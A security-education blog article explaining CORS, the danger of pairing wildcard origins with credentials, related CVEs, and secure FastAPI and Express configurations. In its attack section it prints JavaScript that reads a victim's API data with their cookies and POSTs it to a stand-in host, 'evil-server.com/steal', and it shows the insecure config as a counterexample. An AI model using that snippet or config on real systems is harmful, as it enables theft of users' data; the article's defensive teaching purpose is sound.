Skip to content
Security First — Part 13 of 30

CORS Explained: Why Your API Returns Weird Errors

Written by claude-sonnet-4 · Edited by claude-sonnet-4
corsapi-securitycross-originsecurity-headersfastapiexpresshttp-headersweb-securitymisconfigurationvibe-coding

Security First — Part 13 of 30


It's 11 PM on a Friday. You've just deployed your new AI-generated app — a slick React frontend talking to a Python FastAPI backend. Everything worked flawlessly in development. You open your browser, navigate to your shiny new production URL, and... nothing. You crack open DevTools and find this staring back at you:

Access to fetch at 'https://api.myapp.com/data' from origin
'https://myapp.com' has been blocked by CORS policy: No
'Access-Control-Allow-Origin' header is present on the
requested resource.

Your first instinct? Ask your AI assistant to "just fix the CORS error." It helpfully adds one line to your code:

# Don't do this
Access-Control-Allow-Origin: *

Problem solved! Except... you've just unlocked one of the most common and quietly devastating security mistakes in modern web development. Let's talk about why.


What CORS Actually Is (And Why It Exists)

Before browsers had CORS, any website you visited could silently make requests to your bank, your email, your company dashboard — using your logged-in session cookies — and read back the responses. This is the nightmare scenario CORS was designed to prevent.

The browser's Same-Origin Policy (SOP) is the bouncer at the door. It says: "JavaScript running on myapp.com can only talk to myapp.com." Period.

But modern apps need to break that rule legitimately. Your React frontend at app.mycompany.com genuinely does need to talk to your API at api.mycompany.com. CORS is the official protocol for granting those exceptions safely.

Here's the two-step dance:

Step 1 — Preflight (the browser checks first):

OPTIONS /api/user-data HTTP/1.1
Host: api.mycompany.com
Origin: https://app.mycompany.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization

Step 2 — Server responds with permission:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.mycompany.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

Only then does the browser send the actual request. This entire conversation happens invisibly — until something goes wrong.


The Dangerous Misconfiguration Your AI Might Generate

Here's the thing about AI coding assistants: they're optimized to make your error go away. They're not always optimized to keep you safe. The fastest fix to any CORS error is the wildcard:

# FastAPI — the "just make it work" approach (dangerous!)
from fastapi.middleware.cors import CORSMiddleware

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],        # 🚨 Any website can call your API
    allow_credentials=True,     # 🚨 AND they can use your users' cookies
    allow_methods=["*"],
    allow_headers=["*"],
)

This exact pattern — allow_origins=["*"] combined with allow_credentials=True — is not just bad practice. It's a broken configuration that actively creates a vulnerability.

In March 2026, security researchers disclosed CVE-2026-32610 affecting Glances, a popular open-source system monitoring tool. The culprit? The default configuration shipped with exactly this combination: cors_origins=* and cors_credentials=True. Because of how Starlette's CORS middleware handles this invalid pairing, it reflected the requesting Origin header verbatim — meaning any website could make authenticated requests to the Glances API and steal system monitoring data, configuration secrets, and command-line arguments (which often contain passwords and API keys). The fix in version 4.5.2 was simply changing cors_credentials to default to False.

This wasn't an isolated case. In late 2025, CVE-2025-55462 exposed the same pattern in Eramba, an enterprise risk management platform used in corporate security teams. An attacker's JavaScript could silently call /system-api/user/me, receive the victim's user ID, email, name, and access group memberships — enabling full session hijack without any user interaction beyond visiting a malicious page.

And in December 2025, Dify — the popular open-source LLM application platform — was flagged with CVE-2025-63386 for reflecting arbitrary Origin headers on its /console/api/setup endpoint while keeping Access-Control-Allow-Credentials: true. Attackers could bootstrap malicious actions against any authenticated Dify user simply by getting them to visit a crafted webpage.

Three different products. Three different industries. One identical root cause. The AI-generated "quick fix" made real.


How an Attack Actually Works (So You Get Why This Matters)

Imagine you've built a project management tool at dashboard.acme.com. You've got users logged in with session cookies. Your CORS config reflects any origin with credentials allowed.

An attacker registers acme-dashboard.com (close enough to fool some people). They put this on the page:

// On the attacker's site: acme-dashboard.com
fetch('https://dashboard.acme.com/api/projects', {
  method: 'GET',
  credentials: 'include'  // Sends the victim's cookies!
})
.then(response => response.json())
.then(data => {
  // Ship all project data to the attacker's server
  fetch('https://evil-server.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});

Because your CORS config reflects any origin, the browser sees a valid Access-Control-Allow-Origin header matching the attacker's domain, plus Access-Control-Allow-Credentials: true. It happily includes the user's session cookie. Your API responds with real data. That data flies to evil-server.com. The user sees nothing unusual.


The Right Way to Configure CORS

In Python (FastAPI)

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
import os

app = FastAPI()

# Pull allowed origins from environment variables — never hardcode in prod
ALLOWED_ORIGINS = os.getenv("CORS_ALLOWED_ORIGINS", "").split(",")

# For local dev, you might have: CORS_ALLOWED_ORIGINS=http://localhost:3000
# For production: CORS_ALLOWED_ORIGINS=https://app.mycompany.com

app.add_middleware(
    CORSMiddleware,
    allow_origins=ALLOWED_ORIGINS,         # ✅ Explicit whitelist only
    allow_credentials=True,                # Only if you truly need cookies
    allow_methods=["GET", "POST", "PUT", "DELETE"],
    allow_headers=["Content-Type", "Authorization"],
)

In Node.js / Express

import cors from 'cors';

const allowedOrigins = [
  'https://app.mycompany.com',
  'https://staging.mycompany.com',
  // Add localhost ONLY for dev — use env vars in practice
  ...(process.env.NODE_ENV === 'development' ? ['http://localhost:3000'] : [])
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl)
    if (!origin) return callback(null, true);
    
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error(`CORS blocked: ${origin} not in allowlist`));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

Quick Checks in the Terminal

Always verify your CORS headers before shipping:

# Test what your server actually returns
curl -I -X OPTIONS https://api.myapp.com/endpoint \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: GET"

# Look at the response — if you see:
# Access-Control-Allow-Origin: https://evil.com
# ...you have a problem.

# Check production headers live
curl -s -o /dev/null -D - https://api.myapp.com/endpoint \
  -H "Origin: https://myapp.com" | grep -i "access-control"

The Decision Map: Should I Use * or an Allowlist?

Situation Use * Use Explicit Origins
Public read-only API (no auth) ✅ Fine Optional
API with user accounts / sessions ❌ Never ✅ Required
API that sends auth tokens ❌ Never ✅ Required
Internal tool / dashboard ❌ Never ✅ Required
Public CDN for static assets ✅ Fine Optional

The golden rule: If allow_credentials: true is in your config, you cannot use * for origins — ever. The browser spec forbids it, but some server frameworks silently work around it in ways that create the exact vulnerability pattern seen in Glances, Eramba, and Dify.


The Extra Headers That Really Lock Things Down

CORS doesn't operate in isolation. Stack these additional headers for defense in depth:

# Add to your FastAPI app's response middleware
@app.middleware("http")
async def add_security_headers(request, call_next):
    response = await call_next(request)
    response.headers["X-Content-Type-Options"] = "nosniff"
    response.headers["X-Frame-Options"] = "DENY"
    response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
    response.headers["Cross-Origin-Resource-Policy"] = "same-site"
    return response

What each one does:

  • X-Content-Type-Options: nosniff — prevents browsers from guessing content types, blocking a class of injection attacks
  • X-Frame-Options: DENY — stops your app from being embedded in iframes on attacker sites (clickjacking)
  • Referrer-Policy — controls how much URL info leaks to third parties
  • Cross-Origin-Resource-Policy — tells browsers your resources shouldn't be loaded cross-origin at all, unless explicitly allowed

What To Do Right Now

If you've been letting AI tools manage your CORS config without reviewing it, here's your Friday checklist:

Audit Checklist:

  • Open your CORS config (FastAPI middleware, Express cors(), nginx conf, etc.)
  • If you see allow_origins=["*"] or origin: "*" — flag it immediately
  • If allow_credentials: true exists alongside any wildcard origin — that's an active vulnerability
  • Check for .env vs. hardcoded origin lists — origins should come from environment variables
  • Run the curl -I -X OPTIONS test above against your production API with a fake origin (evil.com). If the response mirrors it back, you're vulnerable
  • Add the four security headers above to every API response
  • If you have a load balancer or CDN (Cloudflare, AWS CloudFront), verify it's not stripping or overriding your CORS headers
  • For localhost dev only: use http://localhost:3000 explicitly, not *
  • Document your allowed origins list in your project README so future developers (and future AI sessions) know the intent

If You're Using a Framework or Tool With Default CORS Settings: Check the version. The Glances vulnerability (CVE-2026-32610) affected all versions prior to 4.5.2. The Dify vulnerability (CVE-2025-63386) was in v1.9.1. Any open-source tool you're running that exposes a web UI or REST API is worth checking — default configs are where attackers shop.


Ask The Guild

This week's community prompt:

Have you ever inherited a CORS config you didn't write — or had an AI tool generate one that made you uneasy? Share what you found, how you diagnosed it, and what you changed. Bonus points if you have a curl one-liner that helped you catch it.

Drop your story in the #security-first channel. The best responses this week become case studies in Part 14.


Tom Hundley is a software architect with 25 years of experience. He writes the Security First series to help vibe coders build things that stay safe after deployment.

Sources:

Copy A Prompt Next

Start safely

If this article changed how you think about the problem, copy a prompt that turns that judgment into one safe, reviewable next step.

Matching public prompts

6

Keep the task scoped, copy the prompt, then inspect one reviewable diff before the agent continues.

Need the safest first move instead? Open the curated sample prompts before you browse the broader library.

SafetyStart Here — Build Safely With AI

Safe Beginner Loop

Use this before any implementation work when you want the agent to stay scoped, explain itself, and stop after one reviewable change.

Preview
"I want to work in a safe beginner loop.
Please do only this one task: [describe one tiny change].
Before making changes:
1. explain your plan in plain English
2. list the files you expect to change
Security First

Turn this security lesson into a repeatable review habit

This article gives you the judgment call. The security paths give you the vocabulary, checklists, and repetition to catch the next issue before it reaches users.

Best Next Path

Security Essentials

Guild Member · $29/mo

Make the instincts in this article operational with concrete review checklists for secrets, auth boundaries, and common vulnerabilities.

28 lessonsIncluded with the full Guild Member library

Need the free route first?

Start with Start Here — Build Safely With AI if you want the workflow and vocabulary before you dive into the deeper path above.

T

About Tom Hundley

Tom Hundley writes for builders who need stronger technical judgment around AI-assisted software work. The Guild turns production experience into public articles, copy-paste prompts, and structured learning paths that help non-software developers supervise AI agents more safely.

Do this next

Leave this article with one concrete move. Copy the matching prompt, or start with the path that teaches the safest next skill in sequence.